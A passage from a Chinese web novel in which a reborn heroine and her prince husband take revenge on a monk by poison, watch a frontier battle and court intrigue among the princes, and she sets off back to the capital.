高僧双手合十,神情悲悯,“世人愚昧,不过,此事确实因贫僧一时最快而起。所幸施主涅槃重生,虽历经诸多磨难,但世间当再无能阻挡施主的人、事。” “你说的轻巧!”秦时月才没有感到庆幸,她满脸愤慨,眼神阴翳,“我能回来,是因为我命不该绝!是因为我遇到了世上最好的师傅,与那些磨难有什么相干!?与你的预言又有什么相干!?” 若不是东方苑那个奇女子,若不是宋墨辰……她早被这个狗屁高僧的预言害死了,她受的那些磨难,就只是磨难,从来不是她成长必须要经历的历程! 他们的话,宋墨辰有些听不懂,什么涅槃重生,什么能回来,他唯一听懂的,是秦时月满心的不甘和愤怒,还有他此生都不可能亲身体会的痛苦。 他眉头一拧,冷脸看向高僧,“你既知自己当年泄露天机害人不浅,如今可有弥补之法?还是说,你只打算在这儿空口白话,毫不作为!?” 高僧缓缓抬起头,目空一切的目光在宋墨辰脸上停留片刻,暗暗摇头叹息一声。 这位的面相……贵不可言,也难怪,她这个天命之女会同他在一起。 “施主所言极是。”他转而看向秦时月,“贫僧愿以余生之力为小姐护航,助你化解过往遗憾怨气,早日成功。” 秦时月冷笑一声,眼神狂傲,“护航?我怕是承受不起!再者,我此次回来,要走的路、要做的事,无需任何人插手,就连老天爷不行!” 高僧皱皱眉,心中浮现一丝不好的预感。 果然,下一秒秦时月又笑了,只是这次的笑,与先前又不一样。 “你断言了别人的人生,你可曾窥探过自己的人生?” 高僧面色微变,仿佛猜到了什么,沉默片刻,缓缓道:“天机难测,更何况是自身命数。老衲虽为千万人解惑,却窥探不到己身的因果。” 他的声音有些沉,还带着一丝不易察觉的颤抖。 秦时月笑笑,“你不是已经猜到了吗?” 高僧瞳孔微缩,里边终于闪过一丝恐惧,可他仍不愿相信,天命之女,大多都是前世功德加身,心怀天下苍生,心怀善念之人。 所以,所以一定是他猜错了,她,绝不会是想要自己的命! 秦时月察觉到高僧的细微变化,心中冷笑更甚。 她缓缓探过身子,居高临下的看着他,语气中带着几分玩味,“大师,你当年妄断天机,可曾想过会有今日?我回来,可不是为了听你几句忏悔就能了事的。” 高僧猛的抬眸看向她,眼神恐惧。 “一命还一命,你说我命格好,我看你命格更为珍贵,就是不知,你会不会再回来……” 记住本站: 第150章 心疼她 她话音未落,高僧就觉得鼻子里钻进一股异香,下一秒,他就觉得肚子里如火炉在烧,整个人面色痛苦的栽倒在地。 “这是我自己调配的毒药,慢性的。大师,你可别轻易死掉,毕竟当初我遭受过的那些,你非得自己一一体会过,才算真的扯平了!” 高僧的额头上渗出了一层细密的冷汗,嘴唇黑紫颤抖,想说什么,可除了痛苦的哀嚎,发不出任何声音。 秦时月居高临下的看着他,眼中没有一丝怜悯。 宋墨辰站在一旁,眉头微皱。 他虽不懂这毒药的厉害,但看高僧这般痛苦的模样,也知道这东西不简单。 他看向秦时月,眼里闪过一丝心疼,“月儿,你没必要……” 秦时月笑看向他,“怎么,觉得我太过残忍?” 前世的她,受尽折磨,丧失所有尊严,死对于她来说都是一种解脱。 即便他是宋墨辰,即便她对他动心了,他也不能左右她的决定! 因为她活着的每一分每一秒,支撑她的,都是报仇这个信念! 宋墨辰见她误会,一把将她抱进怀里,满心满眼都是心疼,“我是说,你没必要自己动手,只要是你想的,我会帮你做好。” 他心疼她,心疼她的遭遇,心疼她手染鲜血,他却只能在一旁干看着…… 秦时月身体一僵,他的话像一道暖流注入她的心间、灵魂,她所有的防备和倔强,在这一刻土崩瓦解。 眼泪模糊了她的双眼,她靠在他的怀里,声音哽咽,“谢谢。” 谢谢你没有像其他人那样让我输的一败涂地。 没有人知道,她等这一天等了多久。 侯府众人、秦可云固然可恶,可若不是因为这个秃驴当年的那番话,她不会被当做灾星,两世与亲情无缘。 宋墨辰轻轻拍着她的背,他的双臂之内,就是她最强悍的港湾,“傻瓜,你是我的妻,以前我错过了,以后,我会跟你一起面对一切。” 她想报仇?他来。 就算是她要手刃她的亲生父母,他也会是她手中最锋利的刀! 秦时月闭上眼睛,泪水无声滑落,此刻她才真正感受到了复仇之外,人生是值得留恋的。 随着时间的推移,高僧的脸色越来越白,嘴角不断冒出白色泡沫,身体更是不受控制的抽搐起来。 秦时月冷冷看着这一幕,轻启薄唇,“大师,慢慢享受吧!” 说完,转身和宋墨辰朝门外走去。 今夜注定是个不眠夜,他们还有很多事要做,她是真没功夫看老秃驴的下场。 “来人。”刚走出门口,宋墨辰低声唤道:“处理干净,不要留下任何痕迹。” “是!” 暗卫的身影一闪而过,迅速进入屋内。 秦时月和宋墨辰没有回头,因为他们知道,今日的一切,不会有任何外人知道。 记住本站: “接下来,你是要去看看城外的盛况,还是回家休息休息?” “去城外看看吧。”进城几日了,为了不暴露,她还没出门逛过。 此时边关大乱,许多百姓都出来了,趁此机会,她是可以四下看看的,更何况,她想看看宋砚辞手下的战力。 街道上能清晰听到远处传来的嘈杂声,偶尔有巡逻的士兵匆匆经过,始终无人注意到这对看似普通的夫妻。 宋墨辰一边揽着她,一边警惕的扫视四周。 他虽然将一切都掌握在手心,可有秦时月在,他就是没办法放下警惕性。 “你有没有想过。”侧目看着他一脸紧张的样子,秦时月轻笑一声,忽然开口,“如果有一天我们都老了,会是什么样子?” 宋墨辰愣了一下,挠挠头,“那时,我们或许会在一个小村庄里隐居,养几只鸡鸭,猫狗,种上一片菜园。清晨我陪你看日出,傍晚,我们一起听溪水潺潺。” 秦时月忍不住笑出声,脑海里竟然浮现出一副惬意的田园生活图。 她轻咳一声,语调带着几分调侃,“没想到堂堂战神竟有这般田园梦。” “无所谓在哪,是什么样的生活,只要有你,足矣。”宋墨辰垂眸看着她,语气认真。 秦时月心跳漏了一拍,小脸瞬间红透。 她从没听过情话,更不知什么是情滋味,可跟他在一起后,她似乎什么都体会过了。 说来也奇怪,他明明是个不善言辞的铁血军人,可那些情话,他总能轻易说出来,撩拨她的心弦。 说话间,两人已来到城门附近。 这里距离战场尚有一段距离,但空气中弥漫的紧张气息和硝烟味让人感到压抑和不适。 秦时月抬眸看着远方隐约闪烁的火光,眉头不自觉皱了起来,“战斗还没结束。” 看来,宋砚辞的亲卫战力并不如她想象中那么强。 “要不要再靠近些看看?”宋墨辰嘴角带笑,问道。 秦时月思索一下点点头,“走吧,不过还是要小心些,别被发现了。” 两人提气,轻松跃上城墙黑影里,淡然看着城墙外的激战、往来。 就在这时,秦时月眼尖的看到了不远处的宋砚辞和宋承恩,两人站在火把下,视线牢牢锁定在下边。 她和宋墨辰交换个眼神,彼此之间虽然没有语言交流,但都明白了对方的心思。 “你说,这场战事还会持续多久?” “那要看番邦的援军还有多久能到。”宋墨辰面色不变,眼底却多了一丝笑意。 宋砚辞太过高看他自己了,殊不知,战场瞬息万变,像他那种只会在宫里纸上谈兵的,根本不可能应对复杂的局面。 “你是说,宋砚辞会输?” 宋墨辰没有直接回答,而是目光幽深的看向了宋承恩。 他是宋墨辰唯一看不透的人,若说变故,也只能出在他身上。 …… 记住本站: 宋承恩眉头微拧,扭头看了眼不远处的阴影。 不知为何,他莫名觉得那个方向有一道视线一直追随在他身上。 “怎么?”宋砚辞冷哼一声,顺着他的目光看过去,“有什么发现?” “没,应该是我感觉错了。皇兄,你的人,看起来有些后劲不足啊。”宋承恩似笑非笑,眼底带着一丝让人察觉不到的算计。 记住本站: 第151章 宋承恩主动露出真面目 宋砚辞眉头紧锁,目光在战场上扫视一圈,确实发现自己的人攻势逐渐减弱。 他心中担心,但面上依旧保持着镇定,“怕什么?对方人数有限,咱们这边除了我的亲卫,还有边关的守城将士,不会出大乱子的。” 宋承恩轻笑一声,语气中带着让人察觉不到的兴奋,“皇兄似乎对咱们的士兵很有信心?可据我所知,番邦的军队可不是吃素的,他们的将领更是骁勇善战,你,确定不用叫援兵吗?” 宋砚辞的眼里闪过一丝不耐。 他来此原本就是为了建功立业,巩固自己的地位,大战还没开始就寻求援军的帮助,传回京中,岂不是要让父皇对他失望? “宋承恩,你到底想说什么?有话直说,不必拐弯抹角!” 宋承恩摊了摊手,“我只是担心皇兄太过乐观,毕竟这战场上的局势瞬息万变,稍有不慎便可能满盘皆输。不过,既然皇兄如此有信心,那我也就放心了。” 他说完,意味深长的看了眼敌军身后,空旷的黄沙。 按时间来算,番邦的援军,该到了吧…… 想到这,宋承恩阴翳的眸子里闪过一丝疯狂。 只要援军一到,他就可以借机除掉宋砚辞。 等最有可能登上皇位的两人都死在边关,他就能坐收渔翁之利,成为最大的赢家。 他的手指轻轻敲击着剑鞘,嘴角带着兴奋嗜血的冷笑。 秦时月和宋墨辰担心暴露,所以离的并不近,但宋承恩刚刚扭头看过来的举动还是吓了秦时月一跳。 她皱皱眉,眼神担忧,“是说的对,这位三皇子并不简单。你说,他不会已经发现咱们了吧?” “不会。”宋墨辰冷哼一声,“他心思敏感,但是身体不好,习不得武,所以,他发现不了咱们。” 两人说话间,城门外的战事已分出胜负,不出所料,宋砚辞的人败的彻底,底下的尸体,十有八九是他的人。 不过,守城的将士们也不是吃素的,眼看情况超出预期,他们立刻训练有素的搭弓,朝着城下乱射一通。 宋承恩见状,嘴角微勾,眼中闪过一道:果然如此的神色。 他早就料到宋砚辞会败,只是没想到会败的这么快,也不枉费他不辞辛苦给番邦大汗通信。 秦时月察觉到宋承恩的异样,心中警铃大作。 她低声道:“看。” 示意宋墨辰注意宋承恩的表情。 宋墨辰眼神凝重的点了一下头,表示自己看到了。 只是此时时机不对。 城下的混乱达到了顶点,守城将士的箭雨让敌军暂时退却,却没有一点要撤退的意思。 火光映照下,每个人的脸上都带着不知是自己的还是敌方的鲜血,显的格外狰狞。 宋砚辞气急败坏的大喊着,命令守城将士趁敌方疲惫,抓紧发起进攻,但他的声音没什么气势,边关守城的将士听的不甚清楚,没几个人动。 就在这时,远处突然传来震天的,整齐划一的马蹄声。 番邦的援军到了! 记住本站: 黄沙漫天中,无数骑兵、步兵如潮水般涌来。 守城将士们见状,脸色大变,竟不由自主的退后半步。 宋承恩眼神一亮,嘴角扬起一抹满意的笑容。 终于到了! 他看向宋砚辞,眼中充满了嘲讽和轻蔑。“皇兄,看来你的雄心壮志要在这里终结了。” 宋砚辞脸色铁青,“你少在这说风凉话,还不赶紧帮本宫想想办法!” 他之所以答应让宋承恩陪同来边关,就是因为宋承恩曾承诺,愿意为他出谋划策。 结果他一个好主意没出,现在还敢说这些风凉话,简直该死! 宋承恩突然眼神阴鸷,不再伪装,“皇兄,你不会真以为,会有人对那个位置没有兴趣吧?如今你大势已去,还不乖乖受死!?” 说完,他从袖口里抽出一把匕首,双眼猩红的看着宋砚辞,就像在看一个死人。 秦时月在远处看着这一幕,心中猜到了什么,眼神变了又变,“这三皇子心机深沉,如今局势大乱,他怕是要趁机做些什么……” “是我小瞧他了。”宋墨辰挑眉轻笑,“我以为,像他这样的病秧子是绝对不会对那个位置有兴趣的,没想到啊,他不仅想要那个位置,还如此胆大。” “你是说……”秦时月心中一惊。 “杀储君。” 宋砚辞的人马早就死伤殆尽,溃不成军,无人坐镇,守城的将士们也成了无头苍蝇,根本不知道该如何御敌。 此时番邦援军的加入,战场的形势瞬间清晰明了。 宋砚辞并不把宋承恩当回事,但当他看到城墙下的一切,眼底闪过一抹不甘心。 他不信自己比不上宋墨辰,他能守卫边关多年,他也能! 就在他打算冲下城门,和守城将士们一起抵抗的时候,宋承恩却握着匕首逼了过来,“皇兄,你就认命吧。这皇位之争,从来都是成王败寇。” 宋砚辞皱皱眉,像是突然反应过来,脸色难看的看着他,“是你!” 他不甘心相信,可联系着眼前的一切,他不得不信,他这位三皇第,怕是和番邦有所勾结! “形势不利,要不要动用人手镇压?”秦时月看着城门外喊声震天的外来者,挑挑眉,问道。 宋墨辰沉思片刻,摇了摇头,“暂且不动,静观其变。” 宋承恩和他们的目的一样,都是想让宋砚辞不得回京,既然他先动手了,那就看看他的本事。 至于这城,只要宋砚辞不自作聪明,三两天内,敌军是冲不进来的。 “可我看宋承恩的样子,似乎与番邦有所勾结,如果真是这样,他除掉宋砚辞后还会做什么,谁也说不准。”秦时月虽然不是很在乎外人的死活,但她也不想看到生灵涂炭的样子,所以难免有点担心。 “捉贼拿脏,这种事,只要跟陛下透露一点,他自然会派人调查。”宋墨辰笑笑,眉眼间全是算计。 秦时月这才反应过来,娇嗔的瞪了他一眼,“好啊你,背后做了这么多事,竟然一点都没透露给我。” 记住本站: 第152章 比赛 不错,早在他们进城的第一天,宋墨辰就派人八百里加急回京,潜入三皇子府,搜一遍,并交代他们,一旦搜到东西,不必请示,直接传遍京城。 这样一来,陛下势必会自己调查,他天性多疑,只有自己的心腹查到的东西才会信。 他笑着将她揽进怀里,抬手轻轻揉了揉她的脑袋,“我从来没想过瞒你,只是我自己也不确定,所以先让人去查,好在不负所望,竟真的查到了点有用的东西,想必,现在京中已经传开了。” 宋承恩的事一旦传开,即便皇帝看在亲子的份上有心压下来,也不可能。 另一边,宋承恩已经准备动手了,可他高估了自己。 他体质原本就弱,这些年又不曾练武,刚靠近,就被宋砚辞一脚踹开,一个踉跄滚到了角落里。 宋砚辞呸了一声,骂了声“废物”,转身冲下城门。 宋承恩这种上不得台面的东西不足为惧,现在最重要的是城墙下的贼寇。 若是让他们冲破城门,他就是回去,太子之位怕是也保不住! “啧啧,就这点本事也敢这么早暴露,我还真当他是个有头脑本事的。” 眼看宋承恩被宋砚辞踹翻在地,秦时月真替他尴尬。 宋墨辰冷哼一声,早就看穿了宋承恩的心思,“他之所以敢这么早暴露,仗凭的从来不是他自己。” 他侧目看向城墙下的炙热火光,冷声道。 秦时月此时也反应过来,宋承恩之所以敢孤注一掷,是认定了城门不保。 一旦番邦大军压境,就算他杀不了宋砚辞,宋砚辞也会死于敌军将领手中。 她撇撇嘴,一脸无趣。 宋墨辰宠溺一笑,道:“若是觉得没意思,我带你出城转转?” “天色这样黑,城外有什么可看的。”秦时月垂眸看着冲天的火光,突然起了坏心思,“好久没有用箭了,也不知生疏了没有,王爷可有兴趣与时月比上一比?” 他眉梢微挑,嘴角勾了勾,似是来了兴致,“比试箭术?倒是有趣,不过,要先解决一个麻烦。” 说着,他眼神示意,宋承恩就是那个麻烦。 秦时月轻笑一声,“简单。” 黑暗中,她素手一翻,一根银针嗖的飞出。 宋承恩只觉得脖子后疼了一下,下一秒眼前一黑,彻底失去了知觉。 “麻沸散,差不多能让他好好睡上半个时辰。”她俏皮一笑。 宋墨辰故作惊慌,“时月好本事,以后这东西,不会使在为夫身上吧?” 她被他逗笑,扬着头哼了一声,“看你表现。” “娘子放心,为夫一定听话。” 两人相识一笑。 两人话音才落,立刻有人奉上两把弓箭。 秦时月怔愣一下,俏脸一红。 不会吧?他们说的话,岂不是都被暗卫听去了? 看出了秦时月的纠结,宋墨辰轻轻一笑,“不必担心,他们不会把今日的事说出去。这里视野开阔,正适合搭弓射箭。” 见她不吱声,他继续道:“既然要比,那便来点刺激的。以敌军将领的盔缨为目标,如何?” 秦时月嘴角微扬,他的提议引起了她的兴趣,她脸上的羞涩之色逐渐被胜负欲取代。 “好啊,不过,既然是比试,那便应该有彩头。” “自然,时月想要什么?” “嗯~暂时没想到,不如,赢的人可以要求输的人做一件事?” 宋墨辰眸色一深,眼神灼热的看了她一眼,“一言为定!” 秦时月皱皱眉,狐疑的看他一眼。 他这表情……怎么看怎么觉得有猫腻。 两人不再多言,各自抽出长箭瞄准。 秦时月面上是个柔弱纤瘦的小姑娘,实则动作娴熟,射箭的动作格外流利。 比起她,宋墨辰则更加沉稳,他目光锐利,锁定目标后毫不犹豫,猛的松开弓弦。 箭矢破风而出,直接命中目标。 “一个。” 他嘴角带笑,似乎对胜利在望。 秦时月嘴角一勾,小手一松,箭矢同样奔着敌军射去,噗嗤一声,成功拿下一个人头。 宋墨辰皱眉看过来,俊脸上多了一丝凝重。 哎呀呀,媳妇太厉害怎么办?他还指着拿下这一局,让媳妇做些往日她做不出来的事呢…… 两人你来我往,每支箭都精准无比,不过一会儿,城墙下就多了好几具尸体。 城墙下的敌军显然没料到这边会有这样精准的箭法,一时间慌了阵脚。 秦时月与宋墨辰配合默契,一个主攻左侧,一个负责右侧,短短片刻便让敌方阵营陷入混乱。 “看来今日是我要赢了。”秦时月轻笑一声,语气中带着几分俏皮的得意。 说话间,她动作不停,又是一箭射出,正中一名敌将的脑袋,脑浆迸裂,伴随着鲜血溅了身边的人一身,吓的对方当即白着脸尖叫出声。 宋墨辰不疾不徐,淡定的从箭桶中抽出最后一支箭,笑道:“胜负未分,月儿可别高兴得太早了。” 说完,他手腕微动,那支箭以迅雷不及掩耳之势射出,可这支箭并不是针对某个敌人,而是直奔敌军的旗杆而去。 只听咔嚓一声,敌军大旗应声而断,燎原的火光下,旗杆轰然倒地。 旗帜一倒,敌军大乱,士气骤降,攻势明显减弱了不少。 秦时月愣了一下,随即放下弓箭,笑看向宋墨辰,“王爷作弊。” 他耸耸肩,“我可从来不是什么好人。” 言外之意就是,他承认他为了赢,不择手段。 面对他的无赖,秦时月忍不住失笑,但到底没有否认他的胜利。 “好吧,那王爷需要我为你做什么?可先说好,我能力有限,太难的,怕是要让王爷失望。” “放心,绝对是你能做到的,不过,现在时机不对,我要你做的事,还是等此事稳定下来再说吧。” 说着,宋墨辰大手一抬, 弓箭被他随意丢弃。 “宋砚辞怕是已经察觉到不对劲了,此地不宜久留。”扔掉弓箭,他转身揽住她的纤腰,一提气,带着她翩然飞下城楼。 诚如宋墨辰想的那样,这种例无虚发的箭法,已经引起了宋砚辞的注意。 第153章 一环接一环 宋砚辞眉头紧锁,猛的回头看向城墙上的阴影处。 联系到宋承恩的不对劲,他低声自语道:“不对劲……” 说完,他没回头,直接向身旁的守城将领下达命令,“传令下去,所有人加强戒备,务必仔细排查,任何死角不得放过!” 此时敌军已经因为旗帜被毁而陷入混乱,守城的将士们得以喘息,甚至开始趁机反击,将剩下的,还在拼死抵抗的敌军逼退数十步。 这才让宋砚辞能暂时分心。 不过,敌军哪怕还剩一人,那这场战争就不算结束。 他举起长剑,高喊一声,“随本太子杀!一个不留!” 他的声音在火光、震耳的厮杀声中回荡,守城将士们士气大振,纷纷呐喊着冲向敌军。 一时间,城门外刀光剑影,喊杀声震天响。 不过一盏茶的功夫,敌军就被砍杀殆尽。 看到这一幕,宋砚辞得意不已,认定今日能大败敌军,都是他领导有方的原因,早忘了,要不是那支射断敌军旗帜的箭矢,若不是那例无虚发的神箭手,他们,根本毫无胜算。 城中街道上,秦时月与宋墨辰不紧不慢的走着。 “接下来怎么办?”秦时月侧目看着身侧高大如神祇的男子,语气中透着些许兴奋。 今日她杀的尽兴,若不是箭矢不够,她还想再杀些敌军助兴。 宋墨辰目光带笑,越过三三两两的人群,随后又落在了秦时月的身上,“方才的事恐怕已经引起宋砚辞的注意了,不过也不怕,宋承恩很快就会醒来,到时候,自然有他牵制宋砚辞。” “你说的对,可我觉得,以宋砚辞的性子,他绝不会轻易罢休,若他继续追查,恐怕会对咱们不利。”秦时月眉头微拧,有些后悔刚才冲动出手。 “那就让他查吧。”宋墨辰无所谓的笑笑,眼中神采飞扬,“我保管他什么都查不到,而且,只要京中的消息传过来,他就再也顾不上这些小事了。” 宋承恩勾结外敌,他身为太子却与这种人有多牵连,即便皇帝不下旨查他,朝臣、百姓们也会对他产生怀疑。 “说的是。可刚才咱们做的事,算不算为宋砚辞解了燃眉之急呢?” 秦时月懊悔不已。 明明他们要的就是宋砚辞失败,甚至于死在边关,可他们刚才出手,分明是帮了他。 “你可知道方才带兵的番邦将军是哪位?” “哪位?”秦时月不明所以。 先不说她重生归来后发生了很多事,连带着有很多大事出现了变数。 像上一世,宋墨辰就不曾假死,宋砚辞更不曾带兵抗敌,还有宋承恩,她更是只闻其名,不见其人。 而这一世,一切都变了。 单说她一个大门不出二门不迈的闺阁女子,怎么会知道带兵的番邦将军是哪位? “番王的第九子,被寄予厚望的皇子。” “……” 见她还没明白,宋墨辰宠溺的刮刮她的鼻子,笑道:“集万千宠爱于一身的皇子死在靖垣王朝太子的手中,你说,番王会做出什么反应?” “你是说……”秦时月眸光大盛,眼底尽是不可思议。 天啊,他是天生的执棋者。 不费一兵一卒就把宋砚辞推到了万劫不复的境地。 如此一来,即便他在边关死不了,番王也会想尽一切办法要他的命。 毒,真毒! 她崇拜的眼神让宋墨辰很是受用。 他耳尖泛红,忍不住轻咳一声转移话题,“时月聪慧,我只是提了一嘴,你就能想通其中关键,为夫甚是欣慰。” “都说近朱者赤近墨者黑,是王爷教的好。”秦时月轻笑一声,并没有注意到他的不对劲。 两人回到住处的时候天色微微擦亮,不等俩人互道晚安,院内突然落下一道黑影。 “主子。” “说。” 秦时月捂着嘴打个哈欠,随着宋墨辰停了下来。 这人是负责京中动向的,他突然出现,想来是京城那边有什么变故。 来人抬眸看向秦时月,然后垂眸道:“长乐侯府老夫人,去世了。” 两人怔愣一下,回过神,宋墨辰正要安慰,秦时月却百无聊赖的坐在了院中的摇椅上,“原以为她能撑到我回去,看来是我想多了。” 此言一出,宋墨辰立刻意识到,老夫人的死,又是她的杰作。 想到她对高僧痛下杀手时的决绝与残忍,他忍不住皱了皱眉,心里一阵心疼。 若非遭受过非人折磨,一个豆蔻年华的少女又怎么可能这样心狠手辣…… “侯府还有其他消息吗?”她突然开口问到。 来人顿了顿,道:“长乐侯突发恶疾,告假多日。新晋容贵人似乎与长乐侯夫人相识,听说赏赐了不少东西,如今长乐侯府由长乐侯夫人当家。” “突发恶疾?”秦时月眉头微拧,表情终于多了一丝凝重,“芳姨娘和秦家大小姐呢?” 她走的时候担心发生意外,特意将长公主借用的私兵留在了府中。 她想着,他们身手了得,一定能护住芳姨娘和揽月园上下周全,至于“秦时月”,原本就是暗卫,若是出事,他总有自保的能力。 却没料到长乐侯夫人竟然真的凭借秦可云翻身了! “回大小姐,侯府中传出消息,表面上是芳姨娘因忧思过重卧床不起,主动将管家的权利交了出去,实则是被长乐侯夫人软禁在芳萍园,任何人不得随意出入。揽月园始终风平浪静,似乎并未受到波及。” “呵,风平浪静?”秦时月冷笑一声,“我那个好母亲怕是收拾完长乐侯和芳姨娘,便会对揽月园下手!” 先前她们已经撕破脸,如今‘宋墨辰已死在边关’,皇后被太子的人幽禁凤仪宫,那么“秦时月”就成了个无依无靠的。 之所以迟迟不动手,恐怕是因为分身乏术。 “时月不必担心,我这就派一队……” “王爷。”秦时月起身,小脸上带着几分笑意,“王爷胸中有沟壑,边关的一切都在王爷的算计中,时月,也该回去了。” 第154章 回京路上遇野兽 之所以过来,是因为她担心变数太多,他一个人面对复杂的局势疲于应对,不想他孤军奋战。 可这几日,她亲眼见证了什么叫如有神助。 他算无遗漏,她的到来,不过是锦上添花。 所以,她该回去了,再不回去,只怕长乐侯夫人,真的会搅乱一池春水,让她输个彻底…… 宋墨辰没有迟疑,只是低声喊了句:“影夜!护送王妃回京。” 边关形势逐渐白热化,他,其实并不希望她留下来,之所以一直不开口,不过是贪恋这一星半点的温情。 如今京中局势有变,她,自然该回去。 影夜从暗处现身,单膝跪地,恭敬道:“属下遵命。” 秦时月眼神变了变,转身背对着他,“王爷保重,若京中有变,我会第一时间想办法通知你。” “好,路上小心。” 话虽简短,却带着让人难以忽视的关切。 秦时月心中一暖,但此刻不是儿女情长的时候。 边关和京城的局势都不容乐观,他们必须各自为战! 天色渐亮,晨雾弥漫,她坚定的迈出了第一步。 待她的身影彻底消失在视线中,宋墨辰才缓缓收回目光,站在原地,沉默良久。 “主子放心,影夜武功高强,定会护送王妃安全抵达京城。”宋墨辰身后,响起影风的声音。 宋墨辰没有,他知道,只有撑过这段时期,才会迎来转机…… 与此同时,秦时月已经和影夜策马奔出了城门,她的心思早已飞回了长乐侯府。 芳姨娘被软禁,但她这边一直没有收到芳姨娘的求助,看来,她还没有拆开锦囊,退一步说,就是芳姨娘觉得,现在还没到无法控制的地步。 而长乐侯夫人掌权一事,虽在意料之外,也在意料之中,否则当初她不会给他们留下长公主的亲卫。 “娘,既然你一直学不乖,那就别怪我不念生育之恩……”她喃喃自语,眼中闪过一抹冷意。 她恨长乐侯夫人。 生了她,却将所有的宠爱给了秦可云那个外人,眼睁睁看自己被侯府上下,被秦可云磋磨羞辱致死。 可她到底给了秦时月生命,只要她安分些,秦时月愿意留她一命。 可现在看来,自己还是太仁慈了! 秦时月眸光微闪,知道此番回京必然是一场硬仗,但为了护住自己在意的人和事,她别无选择。 一路上影夜骑马跟随在侧,警惕着任何可能的危险。 他虽不多言,却给人一种沉稳可靠的感觉。 晨曦初露,阳光透过浓密的树荫洒在小道上,映出两人一前一后的身影。 秦时月手握缰绳,指尖因用力而泛白,但她的表情没有丝毫变化,就好似这一切都稀松平常。 快马加鞭,日夜兼程,不过两日,两人就赶了一半还多的路程。 以这个速度跑下去,再有一两日,他们就能进京。 “影夜,你跟了王爷多久了?”跑了一天,天色渐渐暗下来,两人的速度渐慢,秦时月突然开口。 影夜恭敬答道:“属下自幼便追随主子,至今已有十余年。” “十余年……”秦时月低声重复了一遍,眼中闪过复杂的神色,“难怪你能让他如此信任。” 此话出口,她突然觉的有些不妥,于是不再继续这个话题,而是将注意力重新放回到前方的道路上。 就在这时,远处的树林里忽然传来一阵异样的响动,随后,一群惊鸟扑腾着飞远。 影夜瞬间绷紧了身体,右手悄然按在了腰间的刀柄上。 他沉着脸低声提醒,“王妃,小心!” 秦时月闻言,眉头微蹙,动作却一点也不迟疑。 只见她迅速拉紧缰绳,同时从长靴中抽出一柄短剑,目光紧紧盯着声音传来的方向。 “敌袭?”她冷声问道,语气中却听不出半点慌乱。 影夜眯起眼睛,观察片刻后,狐疑的摇了摇头。 “不对,不像是有人埋伏,倒像是……野兽。” 他话音未落,一道黑影猛然从树丛中窜出,直接朝着他们冲来。 月光下,两人才看清,那竟然是一头体型硕大的灰狼! 灰狼双眼泛着幽绿的光芒,獠牙森森,嘴角流涎。 两人还没反应过来,它便毫不犹豫地朝着最近的目标——秦时月的马扑了上去。 秦时月反应极快,她迅速翻身到骏马一侧,手腕一翻,在灰狼跃起的同时,短剑一挥,在清冷的月光下,一道寒光闪过,短剑精准的刺入灰狼的咽喉。 鲜血喷涌而出,溅到秦时月的脸上,也染红了地面,灰狼发出一声凄厉的哀嚎,而后重重摔在地上,抽搐了几下便没了气息。 “大小姐……”影夜刚反应过来就看到灰狼重重砸在地上咽气的这幕,眼前一亮,忍不住赞了一句,“厉害!” 他没见过秦时月的身手,乍一看到,久久没能回神。 秦时月面色冷清,抬手随意抹了下脸上的血痕,道:“赶了一天的路,也该歇歇了,这头狼就交给你处理了。” 影夜怔愣好一会才明白她的意思,这头灰狼,应该就是他们今夜的晚餐…… 他利落地翻身下马,从腰间抽出那把短刀开始处理尸体。 他的动作干净利落,显然在这方面有着丰富的经验。 秦时月扫了一眼,收回目光,牵着马匹走到一旁,找了一块相对平整的地方席地而坐。 连日的奔波加上刚才的突袭,让她有些疲惫,她取下水囊,麻利的洗脸,洗刀。 她虽然手上没停,但她的目光依旧警惕的扫视着四周。 树林里渐渐安静下来,只有影夜处理狼尸的声音在空旷的林间回荡。 偶尔传来几声不知名的鸟儿的啼叫声,给这寂静的夜晚增添了几分乐趣。 “王妃,您稍等片刻,属下这就生火烤肉。”影夜一边忙碌,一边担心她等的不耐烦,低声说道。 秦时月没有说话,只是抬头望着天空,眼里闪过一丝落寞。 从边关离开两日了,也不知宋墨辰那边怎么样了…… 月明星疏,这样的夜晚本该宁静美好,可她的心里却莫名有股不安。 第155章 不简单 就在秦时月昏昏欲睡的时候,影夜终于将狼肉处理好,用树枝穿起来架在火上开烤。 火焰舔舐着木柴,发出噼里啪啦的声响,肉香渐渐弥漫开来,勾起了秦时月肚子里的馋虫。 “王妃,可以吃了。”影夜闻闻烤的滋啦冒油的大腿,切下一块烤得外焦里嫩的狼肉递了过去。 秦时月接过狼肉,却没有立刻吃,而是用短剑将肉切成小块,细细检查了一遍,确定熟透了才放进嘴里。 出乎她的意料,狼肉肉质鲜嫩,最重要的是,是有一丝咸味。 想到什么,她挑眉看了眼影夜。 影夜挠挠头,一边翻动火上的肉,一边低声说道:“属下跟着王爷以前驻守在边关,经常会遇到夜宿野外的情况,所以身上多少都会备点盐。” “有次属下和王爷还遇到了一头通体雪白的狼,那狼比今天这头大了差不多一倍,不过王爷勇猛,一招就杀死了那头狼。” 秦时月闻言抬起头,眼中闪过一丝兴趣,“哦?说来听听。” “那次也是夜间赶路,小部队突然遇到野兽奇袭。当时属下年少气盛,以为能轻松对付,结果差点丢了性命。若非主子及时相救……” 他顿了顿,声音里带着几分感慨,“从那以后,无论身处何处,属下再也不敢掉以轻心。” 秦时月默默咀嚼着狼肉,若有所思。 她虽然极少有露宿野外的机会,但也知道影夜说的是实话,这荒郊野岭的,最大的危险往往来自于未知。 一阵微风吹过,带来些许凉意,也令烤肉的香味飘散的更远。 秦时月侧目看向茂密的树林,心中闪过一丝不好的预感。 正好此时天边泛起一丝鱼肚白,她面色冷凝,低声提醒,“吃完尽快赶路,等进了城再好好休息。” 这头狼为何会突然冲出来?树林深处是不是藏着未知的危险?他们都不清楚。 为了以防万一,体力恢复一点,还是尽快离开的好。 “是!”影夜不再多话,给自己割下一块肉,大口塞进嘴里咀嚼起来。 …… 第二日,长乐侯府。 长乐侯夫人看着床上脸色发青的长乐侯,眼神没有一点温度。 她给过他机会,可他眼看卓家失势,便不顾二十多年的夫妻情分,竟想趁机扶芳姨娘上位。 既然这样,他也没有留下去的必要了! “卓,卓静,派人去将太医院院首请来。”长乐侯有气无力的看着她,眼里带着几分哀求。 这几日他感觉非常不好,浑身无力不说,还时常伴有剧烈的头痛,夜不能寐。 他心里清楚,自己这病怕是不简单。 可长乐侯夫人只是冷冷的看着他,仿佛在看一个陌生人。 就在他还想开口的时候,她的嘴角勾起一抹冷笑,“侯爷,药嘛,总是没那么快起效的,您还是坚持吃药,想必用不了多久就会康复如初了。” 